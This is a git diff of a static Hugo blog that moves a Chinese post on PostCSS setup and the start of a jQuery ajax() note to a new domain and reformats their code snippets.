46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="PostCSS学习笔记"><meta property="og:description" content="PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
+module.exports = { module: { rules: [ { test: /\.css$/, use: [&#34;style-loader&#34;, &#34;css-loader&#34;, &#34;postcss-loader&#34;] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
+npm install autoprefixer &ndash;save-dev"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/129/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="PostCSS学习笔记"><meta property="og:description" content="PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
 常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md
@@ -21,9 +21,9 @@
 npm install postcss postcss-loader &ndash;save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [&#34;style-loader&#34;, &#34;css-loader&#34;, &#34;postcss-loader&#34;]
}
]
}
};
postcss.config.js
-module.exports = {
plugins: [插件1,插件2]
};
Autoprefixer（自动添加浏览器前缀）
-npm install autoprefixer &ndash;save-dev"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/129/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-01-23T13:55:00+00:00"><meta property="article:modified_time" content="2022-01-23T13:55:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="PostCSS学习笔记"><meta name=twitter:description content="PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
+module.exports = { module: { rules: [ { test: /\.css$/, use: [&#34;style-loader&#34;, &#34;css-loader&#34;, &#34;postcss-loader&#34;] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
+npm install autoprefixer &ndash;save-dev"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/129/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-01-23T13:55:00+00:00"><meta property="article:modified_time" content="2022-01-23T13:55:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="PostCSS学习笔记"><meta name=twitter:description content="PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
 常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md
@@ -33,27 +33,27 @@
 npm install postcss postcss-loader &ndash;save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [&#34;style-loader&#34;, &#34;css-loader&#34;, &#34;postcss-loader&#34;]
}
]
}
};
postcss.config.js
-module.exports = {
plugins: [插件1,插件2]
};
Autoprefixer（自动添加浏览器前缀）
-npm install autoprefixer &ndash;save-dev"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"PostCSS学习笔记","item":"https://xiaochenabc123.github.io/posts/129/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"PostCSS学习笔记","name":"PostCSS学习笔记","description":"PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）\nPostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.\n插件查询：https://www.postcss.parts/\n常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md\n安装\nnpm install postcss postcss-loader\n或者安装到项目中\nnpm install postcss postcss-loader \u0026ndash;save-dev\nPostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）\nwebpack.config.js\nmodule.exports = {\rmodule: {\rrules: [\r{\rtest: /\\.css$/,\ruse: [\u0026quot;style-loader\u0026quot;, \u0026quot;css-loader\u0026quot;, \u0026quot;postcss-loader\u0026quot;]\r}\r]\r}\r};\rpostcss.config.js\nmodule.exports = {\rplugins: [插件1,插件2]\r};\rAutoprefixer（自动添加浏览器前缀）\nnpm install autoprefixer \u0026ndash;save-dev","keywords":["PostCSS"],"articleBody":"PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）\nPostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.\n插件查询：https://www.postcss.parts/\n常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md\n安装\nnpm install postcss postcss-loader\n或者安装到项目中\nnpm install postcss postcss-loader –save-dev\nPostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）\nwebpack.config.js\nmodule.exports = {\rmodule: {\rrules: [\r{\rtest: /\\.css$/,\ruse: [\"style-loader\", \"css-loader\", \"postcss-loader\"]\r}\r]\r}\r};\rpostcss.config.js\nmodule.exports = {\rplugins: [插件1,插件2]\r};\rAutoprefixer（自动添加浏览器前缀）\nnpm install autoprefixer –save-dev\nconst autoprefixer = require(\"autoprefixer\") // 导入插件\rmodule.exports = {\rplugins: [autoprefixer] // 加载插件\r}\r执行打包命令npm run build\npostcss-preset-env（支持现代css语法）\nnpm install postcss-preset-env –save-dev\nconst postcssPresetEnv = require(“postcss-preset-env”)\ncss-modules（css模块化）\nnpm install postcss-modules –save-dev\nconst postcssModules = require(“postcss-modules”)\nstylelint（css代码检查）\nnpm install stylelint stylelint-config-standard –save-dev\nconst StyleLintPlugin = require(“stylelint-webpack-plugin”)\n","wordCount":"116","inLanguage":"en","datePublished":"2022-01-23T13:55:00Z","dateModified":"2022-01-23T13:55:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/129/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>PostCSS学习笔记</h1><div class=post-meta><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/PostCSS%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）</p><p>PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.</p><p>插件查询：https://www.postcss.parts/</p><p>常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md</p><p>安装</p><p>npm install postcss postcss-loader</p><p>或者安装到项目中</p><p>npm install postcss postcss-loader &ndash;save-dev</p><p>PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）</p><p>webpack.config.js</p><pre><code>module.exports = {
-    module: {
-        rules: [
-            {
-                test: /\.css$/,
-                use: [&quot;style-loader&quot;, &quot;css-loader&quot;, &quot;postcss-loader&quot;]
-            }
-        ]
-    }
-};
-</code></pre><p>postcss.config.js</p><pre><code>module.exports = {
-    plugins: [插件1,插件2]
-};
-</code></pre><p>Autoprefixer（自动添加浏览器前缀）</p><p>npm install autoprefixer &ndash;save-dev</p><pre><code>const autoprefixer = require(&quot;autoprefixer&quot;) // 导入插件
-module.exports = {
-    plugins: [autoprefixer] // 加载插件
-}
-</code></pre><p>执行打包命令npm run build</p><p>postcss-preset-env（支持现代css语法）</p><p>npm install postcss-preset-env &ndash;save-dev</p><p>const postcssPresetEnv = require(&ldquo;postcss-preset-env&rdquo;)</p><p>css-modules（css模块化）</p><p>npm install postcss-modules &ndash;save-dev</p><p>const postcssModules = require(&ldquo;postcss-modules&rdquo;)</p><p>stylelint（css代码检查）</p><p>npm install stylelint stylelint-config-standard &ndash;save-dev</p><p>const StyleLintPlugin = require(&ldquo;stylelint-webpack-plugin&rdquo;)</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/postcss/>PostCSS</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/130/><span class=title>« Prev</span><br><span>简单使用TailwindCSS</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/128/><span class=title>Next »</span><br><span>Golang进阶扩展笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+module.exports = { module: { rules: [ { test: /\.css$/, use: [&#34;style-loader&#34;, &#34;css-loader&#34;, &#34;postcss-loader&#34;] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
+npm install autoprefixer &ndash;save-dev"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"PostCSS学习笔记","item":"https://chenjunlinabc.github.io/posts/129/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"PostCSS学习笔记","name":"PostCSS学习笔记","description":"PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）\nPostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.\n插件查询：https://www.postcss.parts/\n常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md\n安装\nnpm install postcss postcss-loader\n或者安装到项目中\nnpm install postcss postcss-loader \u0026ndash;save-dev\nPostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）\nwebpack.config.js\nmodule.exports = { module: { rules: [ { test: /\\.css$/, use: [\u0026quot;style-loader\u0026quot;, \u0026quot;css-loader\u0026quot;, \u0026quot;postcss-loader\u0026quot;] } ] } }; postcss.config.js\nmodule.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）\nnpm install autoprefixer \u0026ndash;save-dev","keywords":["PostCSS"],"articleBody":"PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）\nPostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.\n插件查询：https://www.postcss.parts/\n常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md\n安装\nnpm install postcss postcss-loader\n或者安装到项目中\nnpm install postcss postcss-loader –save-dev\nPostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）\nwebpack.config.js\nmodule.exports = { module: { rules: [ { test: /\\.css$/, use: [\"style-loader\", \"css-loader\", \"postcss-loader\"] } ] } }; postcss.config.js\nmodule.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）\nnpm install autoprefixer –save-dev\nconst autoprefixer = require(\"autoprefixer\") // 导入插件 module.exports = { plugins: [autoprefixer] // 加载插件 } 执行打包命令npm run build\npostcss-preset-env（支持现代css语法）\nnpm install postcss-preset-env –save-dev\nconst postcssPresetEnv = require(“postcss-preset-env”)\ncss-modules（css模块化）\nnpm install postcss-modules –save-dev\nconst postcssModules = require(“postcss-modules”)\nstylelint（css代码检查）\nnpm install stylelint stylelint-config-standard –save-dev\nconst StyleLintPlugin = require(“stylelint-webpack-plugin”)\n","wordCount":"116","inLanguage":"en","datePublished":"2022-01-23T13:55:00Z","dateModified":"2022-01-23T13:55:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/129/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>PostCSS学习笔记</h1><div class=post-meta><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/PostCSS%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）</p><p>PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.</p><p>插件查询：https://www.postcss.parts/</p><p>常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md</p><p>安装</p><p>npm install postcss postcss-loader</p><p>或者安装到项目中</p><p>npm install postcss postcss-loader &ndash;save-dev</p><p>PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）</p><p>webpack.config.js</p><pre><code>module.exports = {
+    module: {
+        rules: [
+            {
+                test: /\.css$/,
+                use: [&quot;style-loader&quot;, &quot;css-loader&quot;, &quot;postcss-loader&quot;]
+            }
+        ]
+    }
+};
+</code></pre><p>postcss.config.js</p><pre><code>module.exports = {
+    plugins: [插件1,插件2]
+};
+</code></pre><p>Autoprefixer（自动添加浏览器前缀）</p><p>npm install autoprefixer &ndash;save-dev</p><pre><code>const autoprefixer = require(&quot;autoprefixer&quot;) // 导入插件
+module.exports = {
+    plugins: [autoprefixer] // 加载插件
+}
+</code></pre><p>执行打包命令npm run build</p><p>postcss-preset-env（支持现代css语法）</p><p>npm install postcss-preset-env &ndash;save-dev</p><p>const postcssPresetEnv = require(&ldquo;postcss-preset-env&rdquo;)</p><p>css-modules（css模块化）</p><p>npm install postcss-modules &ndash;save-dev</p><p>const postcssModules = require(&ldquo;postcss-modules&rdquo;)</p><p>stylelint（css代码检查）</p><p>npm install stylelint stylelint-config-standard &ndash;save-dev</p><p>const StyleLintPlugin = require(&ldquo;stylelint-webpack-plugin&rdquo;)</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/postcss/>PostCSS</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/130/><span class=title>« Prev</span><br><span>简单使用TailwindCSS</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/128/><span class=title>Next »</span><br><span>Golang进阶扩展笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/13/index.html b/posts/13/index.html
index 41e86da2..e3c9f16d 100644
--- a/posts/13/index.html
+++ b/posts/13/index.html
@@ -1,5 +1,5 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>jQuery-ajax()方法笔记 | 小陈的个人博客</title><meta name=keywords content="JavaScript,jQuery"><meta name=description content="ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
$(&#34;button&#34;).click(function(){
$.ajax({
type: &#34;GET&#34;,
url: &#34;https://httpbin.org/get&#34;,
success: function(getdata){
console.log(getdata)
}
})
})
});
参数
+$(document).ready(function(){ $(&#34;button&#34;).click(function(){ $.ajax({ type: &#34;GET&#34;, url: &#34;https://httpbin.org/get&#34;, success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -23,9 +23,9 @@
 traditional：指定是否使用传统的方式来序列化数据
 username：指定响应http访问认证请求的用户名
 password：指定响应http访问认证请求的密码
-xhr：用于重写或者增强XMLHttpRequest对象的函数"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/13/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="jQuery-ajax()方法笔记"><meta property="og:description" content="ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
$(&#34;button&#34;).click(function(){
$.ajax({
type: &#34;GET&#34;,
url: &#34;https://httpbin.org/get&#34;,
success: function(getdata){
console.log(getdata)
}
})
})
});
参数
